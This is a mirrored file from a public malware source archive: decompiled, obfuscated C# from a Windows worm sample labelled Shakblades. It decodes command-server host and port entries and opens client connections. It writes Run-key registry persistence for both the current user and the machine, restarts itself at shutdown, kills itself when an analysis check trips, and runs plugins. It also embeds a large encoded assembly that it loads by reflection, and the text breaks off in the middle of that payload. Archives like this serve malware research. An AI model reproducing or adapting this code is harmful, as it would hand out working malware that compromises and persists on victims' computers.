mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
526 lines
49 KiB
C#
526 lines
49 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Ҧ߲๒ʽ໙ୄᴘ.ťႻϓᕍభ
|
|||
|
|
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
|||
|
|
|
|||
|
|
using Microsoft.Win32;
|
|||
|
|
using Plugin;
|
|||
|
|
using System;
|
|||
|
|
using System.Collections.Generic;
|
|||
|
|
using System.Diagnostics;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Management;
|
|||
|
|
using System.Net;
|
|||
|
|
using System.Reflection;
|
|||
|
|
using System.Security.Cryptography;
|
|||
|
|
using System.Text;
|
|||
|
|
using System.Threading;
|
|||
|
|
using System.Windows.Forms;
|
|||
|
|
|
|||
|
|
namespace Ҧ߲๒ʽ໙ୄᴘ
|
|||
|
|
{
|
|||
|
|
internal class ťႻϓᕍభ
|
|||
|
|
{
|
|||
|
|
private const string \u0F2Eፌๅࠡᗬ = "NEF35+rn5+fr5+fn5ubn55/n5+fn5+fnJ+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fnZ+fn5/UGofXnm/C0CJ/oM7QIO09QWgdXWVZOWUhUB0pIVVVWWwdJTAdZXFUHUFUHKzY6B1RWS0wV9PTxC+fn5+fn5+c3LOfnM+jq5yK1czXn5+fn5+fn58fn6Qjy6O/n5wPn5+ft5+fn5+fndSHn5+cH5+fnJ+fn5+cn5+cH5+fn6efn6+fn5+fn5+fr5+fn5+fn5+dn5+fn6efn5+fn5+rnJ2zn5/fn5/fn5+fn9+fn9+fn5+fn5/fn5+fn5+fn5+fn5ych5+cy5+fn5yfn52fq5+fn5+fn5+fn5+fn5+fn5+fn50fn5/Pn5+ePIOfnA+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fnB+fn7+fn5+fn5+fn5+fn7wfn5y/n5+fn5+fn5+fn5xVbTF9b5+fnewHn5+cH5+fnA+fn5+nn5+fn5+fn5+fn5+fn5wfn50cVWVpZSufn52fq5+fnJ+fn5+vn5+cF5+fn5+fn5+fn5+fn5+cn5+cnFVlMU1ZK5+fz5+fn50fn5+fp5+fnCefn5+fn5+fn5+fn5+fnJ+fnKefn5+fn5+fn5+fn5+fn5+dXIefn5+fn5y/n5+fp5+znjwzn5+f75+fo5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5z3pD/jn5/Hn5+la+efn8WTw5+fr5xHn5/oX6udA5+fn6Ofn+Oda+ufn8Wfy5+frWvvn5/Fn8efn62Xx5+frZfLn5+vpVvzn5/HnZfLn5+tW/efn8edl8ufn61b+5+fx8WXy5+frVv/n5/Hn+2fy5+fr+2fx5+fr7fIS5+4R5+fn+hfp5zrn5+fp5+f45+laAOfn8Wfy5+frWvvn5/Fn8efn62Xx5+frZfLn5+tWAefn8Vzu5+fp8WXy5+frVv3n5/HnZfLn5+tW/+fn8ef7Z/Ln5+v7Z/Hn5+vt8hLn7hEF6Q/45+fxEef6F+jn8ufn5+rn5/jpYvnn5+vxEuftEQnp6mT55+frEfoX6Ofy5+fn6+fn+Oli+ufn6/ES5+0RCenqZPrn5+sR+hfq5zHn5+fs5+f45+kPA+fn8Q8E5+fxt/3n5+gPBefn8f5WBufn8fHtdVD95en95ejz7xT95+39gVv95+foVgfn5/FaCOfn8fIS72UJ5+fx8hLn7hHx5xHn5+f6F+rnF+fn5+3n5/jpYvPn5+vx7fLu6g8K5+fxW/Pn5+jz6WPz5+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvPn5+vx7fLu6g8M5+fxW/Pn5+jz6WPz5+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvTn5+vx7fLu6g8K5+fxW/Pn5+jz6WP05+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvTn5+vx7fLu6g8M5+fxW/Pn5+jz6WP05+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvXn5+vx7fLu6g8K5+fxW/Pn5+jz6WP15+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvXn5+vx7fLu6g8M5+fxW/Pn5+jz6WP15+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+7n5/jpYvbn5+vx7fLu6g8K5+fxW+rn5+nz6WP25+fr7+4P6efnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+7n5/jpYvbn5+vx7fLu6g8M5+fxW+rn5+nz6WP25+fr7+4P6efnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+/n5/jpYvfn5+vx7fLu6g8K5+fxW+nn5+nz6WP35+fr7+4P6ufnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+/n5/jpYvfn5+vx7fLu6g8M5+fxW+nn5+nz6WP35+fr7+4P6ufnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5/Dn5/jpYvjn5+vx7fLu6g8K5+fxW+vn5+nz6WP45+fr7+4P6+fnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5/Dn5/jpYvjn5+vx7fLu6g8M5+fxW+vn5+nz6WP45+fr7+4P6+fnEvHt7uXo/eXo9PAUvxH6F+rnK+fn5/Hn5/jn6vHt/RXpEgTpYvbn5+v75ejy7hT16WL25+fr6etW7efn7ecSBOli9+fn6/vl6PLuFPXpYvfn5+vp61bp5+ft5xLnEfoX6ucE5+fn8ufn+OfpYvjn5+v75ejx7RT16WL45+fr6epW8efn7ecR5+fn+hfq5wTn5+fy5+f45+li8+fn6/vl6PHtFPXpYvPn5+vp+1YN5+fx5xHn5+fqF+rnL+fn5+fn5+fn6WLz5+fr+/tWDefn8efpYvTn5+v7+1YN5+fx5+li9efn6/v7Vg3n5/Hn6WL35+fr+/tW6efn7efpYvjn5+v7+1bx5+ft5xEF6Q/45+fxESk6MSno5+jn5+fn5/Pn5+ddGRUXFRwXHhke5+fn5+znU+fn5+vw5+cKZefnV/Dn58fu5+cKOltZUFVOWufn5+c3+Ofn7+fn5wo8Ouc/+Ofn9+fn5wouPDAr5+fnT/jn53/p5+cKKVNWSefn5+fn5+fp5+foPgSd8PDv5+fn4Qwa5/3n5+jn5+cM5+fn8Ofn5/rn5+cZ5+fnGOfn5w3n5+fr5+fn+ufn5/Ln5+fo5+fn7efn5+jn5+fz5+fnAefn5+jn5+fo5+fn6efn5+vn5+fn5/Hn6Ofn5+fn7ed953bn7eeP53bn7eeU53bn7eeo53bn7ee153bn7ecD6Hbn7ecu6BPo7edp6Dro7eeG6Hzo7edD6Xbn8eds6Vfp7efA6Xbn7efe68zr7ef17Mzr7ecS7Mzr7ecx7Mzr7edK7Mzr7edj7Mzr7ed+7Mzr7eeZ7Mzr7efR7LLs7efl7LLs7efz7czr7ecM7czr7ec87SntTudQ7efn7ed/7V/t7eef7V/t7ee97Xbn7efT7Xzo7efw7l/t7ecL7nbn7ecY7szr7ect7nbn7ed17nbn7eeX7obu7ee67nbn5+fn5+jn5+fn5+jn6Ofo6Ofn/ecQ5+zn6Ofo5+jo5+cX5xDn7Ofo5+zn6Ojn5ynnEOfs5+jn8Ofo6OfnPucQ5/Dn6Of05+jo5+dK5xDn8Ofr5/Tn6Af350/nEOf05+7n9Ofo5/fnWucQ5/Tn8ef152jn9+dl5xDn9Ofz5/jn7e3Z5xHnPWfh5xTnPWfm5xTn7e3Z5xHnPWfu6CLnPWf16CLn7ef86Cbn7ecI6Cnn7ec16C3n+Od56Djn+OeT6Dzn6OfN6YXn6OcO6oXn6Ocx6oXn6OdU6o/n6Odx6pnn6OeR6qPn6OfS6rXn6Of167nn5+fn5+rnbf+b5/Hn6Ofn5+fn6uet6KHn9+fq5+fn5+fq563ow+f/5+zn5+fn5+rnrejP5wvn8Ofn5+fn6udt/5vn8efx5+fn5+fq563ooef35/Pn5+fn5+rnrejD5//n9efn5+fn6uet6M/nC+f55+fn5+fq523/m+fx5/rn5+fn5+rnreih5/fn/Ofn5+fn6uet6MPn/+f+5+fn5+fq563oz+cL5wLnNwfn5+fnbf+b5zTnA+dPB+fn5+d955boQOcD57cH5+fn533noOhH5wTnFgjn5+fnbf+b5zTnBefn5+fn5+et9KzoTucF5+fn5+fn5630tehO5wXn5+fn5+fnrfTF6E7nBefn5+fn5+et9NDoUucF5+fn5+fn56304ehX5wXn5+fn5+fnrfT56VfnBefn5+fn5+et9AvpV+cF5x8I5+fn523vF+lb5wXnNgjn5+fnbe8t6WDnBefn5+fn5+et9EvpZucG5+fn5+fn5630celr5wbnPwjn5+fnbe9/6XDnBudWCOfn
|
|||
|
|
private static List<ᘽƭ> ለā\u08DAďೡᷧՍᰉࠎ;
|
|||
|
|
private static List<\u07F6\u181Fᒸৃ> \u0A6Dᤴ;
|
|||
|
|
private static bool ạᝡԤ;
|
|||
|
|
private static bool ᑻ\u088A\u0E6Cఔᝒᔰ\u1CC2ᯊ;
|
|||
|
|
private static int ଵ\u0F2EᡍƓᴡ\u0FF8;
|
|||
|
|
|
|||
|
|
[MTAThread]
|
|||
|
|
private static int ϩ\u0C45ñ()
|
|||
|
|
{
|
|||
|
|
if (ȩזြڹᡡỾỔው.ᘳ\u1AAAຟФƌ\u0C54Ͻ᷾ && (!ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ || !(Process.GetCurrentProcess().MainModule.FileName == Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)))))
|
|||
|
|
\u09D0෧ᠮबZố.ᬪ();
|
|||
|
|
ťႻϓᕍభ.ઊ\u0885ୀϞ();
|
|||
|
|
ťႻϓᕍభ.ૡᯏਢׄ();
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
while (true)
|
|||
|
|
{
|
|||
|
|
do
|
|||
|
|
;
|
|||
|
|
while (!(Console.ReadLine().ToLower() == "clear"));
|
|||
|
|
Console.Clear();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
Process.GetCurrentProcess().WaitForExit();
|
|||
|
|
return 0;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void ઊ\u0885ୀϞ()
|
|||
|
|
{
|
|||
|
|
ťႻϓᕍభ.ạᝡԤ = false;
|
|||
|
|
ťႻϓᕍభ.ᑻ\u088A\u0E6Cఔᝒᔰ\u1CC2ᯊ = false;
|
|||
|
|
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ťႻϓᕍభ.ᇛើᛈឦÃ);
|
|||
|
|
\u0F48ಡભ\u1B7B.\u1393\u001Aኬ\u1AFB\u0A77(ȩזြڹᡡỾỔው.\u1BFFᜳتכ\u0D5A\u0BF7ᅮᜯ);
|
|||
|
|
if (\u0F48ಡભ\u1B7B.ඵΠ႙\u1AE1\u0F0E\u0BF1)
|
|||
|
|
{
|
|||
|
|
Process.GetCurrentProcess().Kill();
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
string[] strArray = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.ᨌᘧᙍ͎ොᘥກਢᙰ, true).Split('|');
|
|||
|
|
ťႻϓᕍభ.\u0A6Dᤴ = new List<\u07F6\u181Fᒸৃ>();
|
|||
|
|
for (int index = 0; index < strArray.Length; ++index)
|
|||
|
|
{
|
|||
|
|
if (!string.IsNullOrEmpty(strArray[index]))
|
|||
|
|
{
|
|||
|
|
\u07F6\u181Fᒸৃ ᒸৃ = new \u07F6\u181Fᒸৃ(strArray[index].Split('>')[0], int.Parse(strArray[index].Split('>')[1]), \u1928ᔾዔ.յ(strArray[index].Split('>')[2].Trim(), true));
|
|||
|
|
ᒸৃ.ȉ᧗ቦᡭଔƯ᪽\u06DE += new EventHandler(ťႻϓᕍభ.Ζڴ);
|
|||
|
|
ᒸৃ.ƬԀඈ += new EventHandler(ťႻϓᕍభ.\u09FAܙᓗឧᶫցผᝫ);
|
|||
|
|
ᒸৃ.nᶏ\u0BFD += new EventHandler<ᛕᔱ\u05CDᨈكအ\u0FFEན>(ťႻϓᕍభ.ᨖ);
|
|||
|
|
ťႻϓᕍభ.\u0A6Dᤴ.Add(ᒸৃ);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
Ѡኑ.ᚷᦸᅏو();
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0C11\u0FBFᵥރតൃĚŹᗐ += new ᙐᗡѬᵲ૦ᵛଔѥቾ.ᘕঃ(ťႻϓᕍభ.ᨔდ\u12C13ṉ\u0BD6ŵŅᗬ);
|
|||
|
|
if (ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
|||
|
|
{
|
|||
|
|
if (Process.GetCurrentProcess().MainModule.FileName != Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)))
|
|||
|
|
new Thread(new ThreadStart(ɱªᕢ᳭ᬻ\u02EBԧᵢ.ᅰ)).Start();
|
|||
|
|
SystemEvents.SessionEnding += new SessionEndingEventHandler(ťႻϓᕍభ.ɜở྄ᒡᩉᛴѼᯑᛱ);
|
|||
|
|
}
|
|||
|
|
if (ȩזြڹᡡỾỔው.\u17E3බᠥೋ\u1BF6\u0A00\u0B0EឍЇ && Process.GetCurrentProcess().MainModule.FileName != Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)))
|
|||
|
|
Ѡኑ.\u1C59ḩฅ්Ꮱ();
|
|||
|
|
if (ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ && Process.GetCurrentProcess().MainModule.FileName == Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)))
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.ʉᆖͧ\u05CB\u00A9ᤤդܛ();
|
|||
|
|
else
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.dz();
|
|||
|
|
if (ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
|||
|
|
{
|
|||
|
|
ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ = new List<ᘽƭ>();
|
|||
|
|
new ᘽƭ(ȩזြڹᡡỾỔው.Փᬃᜐᣖ̗ᨠᵴ, ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ)
|
|||
|
|
{
|
|||
|
|
ܜᛓѕଢ਼֨᳑ᐱ = (\u187Bȸº᭰\u09FC.ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ | \u187Bȸº᭰\u09FC.ཅ\u000A)
|
|||
|
|
}.ဧŕᬐ\u0AD4߭ += new EventHandler(ťႻϓᕍభ.ᕉ\u0881\u0CD0ᥜࠡ);
|
|||
|
|
if (ȩזြڹᡡỾỔው.\u0ADC\u17ECᦱЍᗙᦜޛĒ\u0E4F)
|
|||
|
|
{
|
|||
|
|
if (ȩזြڹᡡỾỔው.\u1C42\u193Eᙁᖔᠮ೬\u1BFB)
|
|||
|
|
{
|
|||
|
|
ᘽƭ ᘽƭ = new ᘽƭ(RegistryHive.CurrentUser, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true));
|
|||
|
|
ᘽƭ.ဧŕᬐ\u0AD4߭ += new EventHandler(ťႻϓᕍభ.\u0BF0ᔞ\u0FFD᪴ᡠ);
|
|||
|
|
ᘽƭ.ܜᛓѕଢ਼֨᳑ᐱ = \u187Bȸº᭰\u09FC.ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ | \u187Bȸº᭰\u09FC.ཅ\u000A;
|
|||
|
|
ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ.Add(ᘽƭ);
|
|||
|
|
}
|
|||
|
|
if (ȩזြڹᡡỾỔው.கພ༢ਊȷඣᯇᝨ)
|
|||
|
|
{
|
|||
|
|
ᘽƭ ᘽƭ = new ᘽƭ(RegistryHive.CurrentUser, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true));
|
|||
|
|
ᘽƭ.ဧŕᬐ\u0AD4߭ += new EventHandler(ťႻϓᕍభ.\u0BF0ᔞ\u0FFD᪴ᡠ);
|
|||
|
|
ᘽƭ.ܜᛓѕଢ਼֨᳑ᐱ = \u187Bȸº᭰\u09FC.ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ | \u187Bȸº᭰\u09FC.ཅ\u000A;
|
|||
|
|
ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ.Add(ᘽƭ);
|
|||
|
|
}
|
|||
|
|
if (ȩזြڹᡡỾỔው.ԑᅤᴨᡰ\u02EFᣢỳ)
|
|||
|
|
{
|
|||
|
|
ᘽƭ ᘽƭ = new ᘽƭ(RegistryHive.LocalMachine, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FhIJFxoEFQgfECwmNTI2Mik3HwQmNyw5KOPDvpzrFig3ODMfDDE2NyQvLygn4wYyMDMyMSgxNzY=", true));
|
|||
|
|
ᘽƭ.ဧŕᬐ\u0AD4߭ += new EventHandler(ťႻϓᕍభ.\u0BF0ᔞ\u0FFD᪴ᡠ);
|
|||
|
|
ᘽƭ.ܜᛓѕଢ਼֨᳑ᐱ = \u187Bȸº᭰\u09FC.ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ | \u187Bȸº᭰\u09FC.ཅ\u000A;
|
|||
|
|
ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ.Add(ᘽƭ);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
ȩזြڹᡡỾỔው.ᗜྷ = ťႻϓᕍభ.\u0DC7\u0A4Aෛែ\u18FDἰӔং(ťႻϓᕍభ.ŋಶـಖ\u1CD3៓ौ\u0F1C\u177B() + "|" + Environment.UserName);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void ૡᯏਢׄ()
|
|||
|
|
{
|
|||
|
|
foreach (\u07F6\u181Fᒸৃ ᒸৃ in ťႻϓᕍభ.\u0A6Dᤴ)
|
|||
|
|
ᒸৃ?.ᴓ᳢ᔈȷᡭౖক\u1C8F८();
|
|||
|
|
if (ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ != null)
|
|||
|
|
{
|
|||
|
|
foreach (ᘽƭ ᘽƭ in ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ)
|
|||
|
|
ᘽƭ.ůߝᨍ();
|
|||
|
|
}
|
|||
|
|
ʤ\u0F32\u0B7EṀ.оԗสᱢȫ݉();
|
|||
|
|
if (!ȩזြڹᡡỾỔው.\u0B3Fᜓƙ)
|
|||
|
|
return;
|
|||
|
|
ťႻϓᕍభ.ጲү();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void ᕉ\u0881\u0CD0ᥜࠡ(object ϙ, EventArgs ᙺૈõם) => new Thread(new ThreadStart(ᙐᗡѬᵲ૦ᵛଔѥቾ.ᇎ)).Start();
|
|||
|
|
|
|||
|
|
private static void \u0BF0ᔞ\u0FFD᪴ᡠ(object ᕇᎴ, EventArgs _param1) => new Thread(new ThreadStart(ɱªᕢ᳭ᬻ\u02EBԧᵢ.ᶏපϔẞ)).Start();
|
|||
|
|
|
|||
|
|
private static void ɜở྄ᒡᩉᛴѼᯑᛱ(object ಭࠑᵹ, SessionEndingEventArgs _param1)
|
|||
|
|
{
|
|||
|
|
if (_param1.Reason != SessionEndReasons.SystemShutdown || !ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
|||
|
|
return;
|
|||
|
|
ɱªᕢ᳭ᬻ\u02EBԧᵢ.ᅰ();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void ᨔდ\u12C13ṉ\u0BD6ŵŅᗬ(object வށያᐕ, IPlugin ೲŀöۊᓲ)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
ೲŀöۊᓲ.ExecutionComplete += new EventHandler(ťႻϓᕍభ.Дᵴኚ\u05FB);
|
|||
|
|
// ISSUE: method pointer
|
|||
|
|
ೲŀöۊᓲ.Output += new OutputEventHandler((object) null, __methodptr(\u0B6Bᴱལ));
|
|||
|
|
ೲŀöۊᓲ.Started += new EventHandler(ťႻϓᕍభ.Ο\u0CD4ʫ\u166Eᙆ໊ᓹခ);
|
|||
|
|
ೲŀöۊᓲ.Stopped += new EventHandler(ťႻϓᕍభ.\u1DE6ងቈ\u19FCᑻ);
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ[ೲŀöۊᓲ.Guid] = ೲŀöۊᓲ;
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static Assembly ᇛើᛈឦÃ(object Ṳ, ResolveEventArgs _param1) => Assembly.Load(Encoding.GetEncoding(1252).GetBytes(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("NEF35+rn5+fr5+fn5ubn55/n5+fn5+fnJ+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fnZ+fn5/UGofXnm/C0CJ/oM7QIO09QWgdXWVZOWUhUB0pIVVVWWwdJTAdZXFUHUFUHKzY6B1RWS0wV9PTxC+fn5+fn5+c3LOfnM+jq5yK1czXn5+fn5+fn58fn6Qjy6O/n5wPn5+ft5+fn5+fndSHn5+cH5+fnJ+fn5+cn5+cH5+fn6efn6+fn5+fn5+fr5+fn5+fn5+dn5+fn6efn5+fn5+rnJ2zn5/fn5/fn5+fn9+fn9+fn5+fn5/fn5+fn5+fn5+fn5ych5+cy5+fn5yfn52fq5+fn5+fn5+fn5+fn5+fn5+fn50fn5/Pn5+ePIOfnA+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fnB+fn7+fn5+fn5+fn5+fn7wfn5y/n5+fn5+fn5+fn5xVbTF9b5+fnewHn5+cH5+fnA+fn5+nn5+fn5+fn5+fn5+fn5wfn50cVWVpZSufn52fq5+fnJ+fn5+vn5+cF5+fn5+fn5+fn5+fn5+cn5+cnFVlMU1ZK5+fz5+fn50fn5+fp5+fnCefn5+fn5+fn5+fn5+fnJ+fnKefn5+fn5+fn5+fn5+fn5+dXIefn5+fn5y/n5+fp5+znjwzn5+f75+fo5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5z3pD/jn5/Hn5+la+efn8WTw5+fr5xHn5/oX6udA5+fn6Ofn+Oda+ufn8Wfy5+frWvvn5/Fn8efn62Xx5+frZfLn5+vpVvzn5/HnZfLn5+tW/efn8edl8ufn61b+5+fx8WXy5+frVv/n5/Hn+2fy5+fr+2fx5+fr7fIS5+4R5+fn+hfp5zrn5+fp5+f45+laAOfn8Wfy5+frWvvn5/Fn8efn62Xx5+frZfLn5+tWAefn8Vzu5+fp8WXy5+frVv3n5/HnZfLn5+tW/+fn8ef7Z/Ln5+v7Z/Hn5+vt8hLn7hEF6Q/45+fxEef6F+jn8ufn5+rn5/jpYvnn5+vxEuftEQnp6mT55+frEfoX6Ofy5+fn6+fn+Oli+ufn6/ES5+0RCenqZPrn5+sR+hfq5zHn5+fs5+f45+kPA+fn8Q8E5+fxt/3n5+gPBefn8f5WBufn8fHtdVD95en95ejz7xT95+39gVv95+foVgfn5/FaCOfn8fIS72UJ5+fx8hLn7hHx5xHn5+f6F+rnF+fn5+3n5/jpYvPn5+vx7fLu6g8K5+fxW/Pn5+jz6WPz5+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvPn5+vx7fLu6g8M5+fxW/Pn5+jz6WPz5+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvTn5+vx7fLu6g8K5+fxW/Pn5+jz6WP05+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvTn5+vx7fLu6g8M5+fxW/Pn5+jz6WP05+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvXn5+vx7fLu6g8K5+fxW/Pn5+jz6WP15+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+3n5/jpYvXn5+vx7fLu6g8M5+fxW/Pn5+jz6WP15+fr7+4P6OfnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+7n5/jpYvbn5+vx7fLu6g8K5+fxW+rn5+nz6WP25+fr7+4P6efnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+7n5/jpYvbn5+vx7fLu6g8M5+fxW+rn5+nz6WP25+fr7+4P6efnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+/n5/jpYvfn5+vx7fLu6g8K5+fxW+nn5+nz6WP35+fr7+4P6ufnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5+/n5/jpYvfn5+vx7fLu6g8M5+fxW+nn5+nz6WP35+fr7+4P6ufnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5/Dn5/jpYvjn5+vx7fLu6g8K5+fxW+vn5+nz6WP45+fr7+4P6+fnEvHt7uXo/eXo9PAUvxH6F+rnF+fn5/Dn5/jpYvjn5+vx7fLu6g8M5+fxW+vn5+nz6WP45+fr7+4P6+fnEvHt7uXo/eXo9PAUvxH6F+rnK+fn5/Hn5/jn6vHt/RXpEgTpYvbn5+v75ejy7hT16WL25+fr6etW7efn7ecSBOli9+fn6/vl6PLuFPXpYvfn5+vp61bp5+ft5xLnEfoX6ucE5+fn8ufn+OfpYvjn5+v75ejx7RT16WL45+fr6epW8efn7ecR5+fn+hfq5wTn5+fy5+f45+li8+fn6/vl6PHtFPXpYvPn5+vp+1YN5+fx5xHn5+fqF+rnL+fn5+fn5+fn6WLz5+fr+/tWDefn8efpYvTn5+v7+1YN5+fx5+li9efn6/v7Vg3n5/Hn6WL35+fr+/tW6efn7efpYvjn5+v7+1bx5+ft5xEF6Q/45+fxESk6MSno5+jn5+fn5/Pn5+ddGRUXFRwXHhke5+fn5+znU+fn5+vw5+cKZefnV/Dn58fu5+cKOltZUFVOWufn5+c3+Ofn7+fn5wo8Ouc/+Ofn9+fn5wouPDAr5+fnT/jn53/p5+cKKVNWSefn5+fn5+fp5+foPgSd8PDv5+fn4Qwa5/3n5+jn5+cM5+fn8Ofn5/rn5+cZ5+fnGOfn5w3n5+fr5+fn+ufn5/Ln5+fo5+fn7efn5+jn5+fz5+fnAefn5+jn5+fo5+fn6efn5+vn5+fn5/Hn6Ofn5+fn7ed953bn7eeP53bn7eeU53bn7eeo53bn7ee153bn7ecD6Hbn7ecu6BPo7edp6Dro7eeG6Hzo7edD6Xbn8eds6Vfp7efA6Xbn7efe68zr7ef17Mzr7ecS7Mzr7ecx7Mzr7edK7Mzr7edj7Mzr7ed+7Mzr7eeZ7Mzr7efR7LLs7efl7LLs7efz7czr7ecM7czr7ec87SntTudQ7efn7ed/7V/t7eef7V/t7ee97Xbn7efT7Xzo7efw7l/t7ecL7nbn7ecY7szr7ect7nbn7ed17nbn7eeX7obu7ee67nbn5+fn5+jn5+fn5+jn6Ofo6Ofn/ecQ5+zn6Ofo5+jo5+cX5xDn7Ofo5+zn6Ojn5ynnEOfs5+jn8Ofo6OfnPucQ5/Dn6Of05+jo5+dK5xDn8Ofr5/Tn6Af350/nEOf05+7n9Ofo5/fnWucQ5/Tn8ef152jn9+dl5xDn9Ofz5/jn7e3Z5xHnPWfh5xTnPWfm5xTn7e3Z5xHnPWfu6CLnPWf16CLn7ef86Cbn7ecI6Cnn7ec16C3n+Od56Djn+OeT6Dzn6OfN6YXn6OcO6oXn6Ocx6oXn6OdU6o/n6Odx6pnn6OeR6qPn6OfS6rXn6Of167nn5+fn5+rnbf+b5/Hn6Ofn5+fn6uet6KHn9+fq5+fn5+fq563ow+f/5+zn5+fn5+rnrejP5wvn8Ofn5+fn6udt/5vn8efx5+fn5+fq563ooef35/Pn5+fn5+rnrejD5//n9efn5+fn6uet6M/nC+f55+fn5+fq523/m+fx5/rn5+fn5+rnreih5/fn/Ofn5+fn6uet6MPn/+f+5+fn5+fq563oz+cL5wLnNwfn5+fnbf+b5zTnA+dPB